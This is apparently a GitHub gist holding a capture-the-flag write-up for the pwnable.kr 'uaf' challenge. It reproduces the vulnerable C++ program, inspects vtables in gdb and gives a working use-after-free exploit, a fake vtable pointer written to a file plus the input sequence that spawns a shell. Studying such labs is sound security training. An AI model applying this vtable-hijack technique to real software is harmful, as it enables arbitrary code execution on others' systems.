Skip to content

Instantly share code, notes, and snippets.

@ihciah
Last active October 19, 2019 01:34
Show Gist options
  • Save ihciah/3c157f18f49bd2287470 to your computer and use it in GitHub Desktop.
Save ihciah/3c157f18f49bd2287470 to your computer and use it in GitHub Desktop.
Pwnable.kr UAF writeup

Pwnable.kr UAF writeup

[email protected]

First let's review the following code:

#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
        virtual void give_shell(){
                system("/bin/sh");
        }
protected:
        int age;
        string name;
public:
        virtual void introduce(){
                cout << "My name is " << name << endl;
                cout << "I am " << age << " years old" << endl;
        }
};

class Man: public Human{
public:
        Man(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
        Human* m = new Man("Jack", 25);
        Human* w = new Woman("Jill", 21);

        size_t len;
        char* data;
        unsigned int op;
        while(1){
                cout << "1. use\n2. after\n3. free\n";
                cin >> op;

                switch(op){
                        case 1:
                                m->introduce();
                                w->introduce();
                                break;
                        case 2:
                                len = atoi(argv[1]);
                                data = new char[len];
                                read(open(argv[2], O_RDONLY), data, len);
                                cout << "your data is allocated" << endl;
                                break;
                        case 3:
                                delete m;
                                delete w;
                                break;
                        default:
                        break;
                }
        }

        return 0;

We can see that if we free and then use, it will cause segmentation fault, because we want to refer a object not exists. So if we use after, it will copy chars whose length is argv[1] from the file argv[2].

How does malloc do its job(Form Here)?

  • For large (>= 512 bytes) requests, it is a pure best-fit allocator, with ties normally decided via FIFO (i.e. least recently used).
  • For small (<= 64 bytes by default) requests, it is a caching allocator, that maintains pools of quickly recycled chunks.
  • In between, and for combinations of large and small requests, it does the best it can trying to meet both goals at once.
  • For very large requests (>= 128KB by default), it relies on system memory mapping facilities, if supported.

In this code, we only need 24bit to save *vtable,age,*name.

First we break at 0x400f18 and run:

RAX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RBX: 0x603040 --> 0x401570 --> 0x40117a (<_ZN5Human10give_shellEv>:	push   rbp)
RCX: 0x7ffff7dd93c0 --> 0x0
RDX: 0x19
RSI: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
RDI: 0x7ffff7dd93c0 --> 0x0
RBP: 0x7fffffffea70 --> 0x0
RSP: 0x7fffffffea10 --> 0x7fffffffeb58 --> 0x7fffffffed86 ("/home/c/ctf/uaf")
RIP: 0x400f18 (<main+84>:	mov    QWORD PTR [rbp-0x38],rbx)
R8 : 0x0
R9 : 0x2
R10: 0x7fffffffe790 --> 0x0
R11: 0x7ffff7b91470 (<_ZNSs6assignERKSs>:	push   rbp)
R12: 0x7fffffffea20 --> 0x603028 --> 0x6b63614a ('Jack')
R13: 0x7fffffffeb50 --> 0x1
R14: 0x0
R15: 0x0

The vtable of Man is at 0x401570.x/3x 0x401570:

0x401570 <_ZTV3Man+16>:	0x000000000040117a	0x00000000004012d2
0x401580 <_ZTV5Human>:	0x0000000000000000

The 0x000000000040117a is give_shell, and the 0x00000000004012d2 is introduce of Man.

So we will apply for space and write something to let the introduce be give_shell. When we call introduce, it will call *vtable + x. If addr + 4 == *vtable + 0(give_shell), the addr must equals *vtable - 4 which is 0x401568.

And the code will be:

python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 8 /tmp/ihcuaf
3 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 2 1
cat flag

UPDATE:

Using 8 is not a correct way. It success only beacuse 24 is less than 32, apply for 8 will be given 32 too.

If some more attributes be added to class, it will not give you the freed block if you apply for 8.

python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > /tmp/ihcuaf
./uaf 24 /tmp/ihcuaf
3 2 2 1
cat flag
@aesophor
Copy link

aesophor commented Oct 19, 2019

Please explain, why does 3 2 2 1 work and why 3 2 1 does not?
I've also found, that it will spawn a shell twice, one for m->introduce() and one for w->introduce(). Why is it? Why we need to overwrite both of them to work? Even if we left w's vpt pointer the way it was, calling m->introduce() should trigger the exploit, but it does not. Inspecting with GDB revealed that the first reading does not overwrite m's vpt pointer. Why?

Because w is freed after m, the first new char[24] will return the pointer to w, and the second new char[24] will return the pointer to m.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment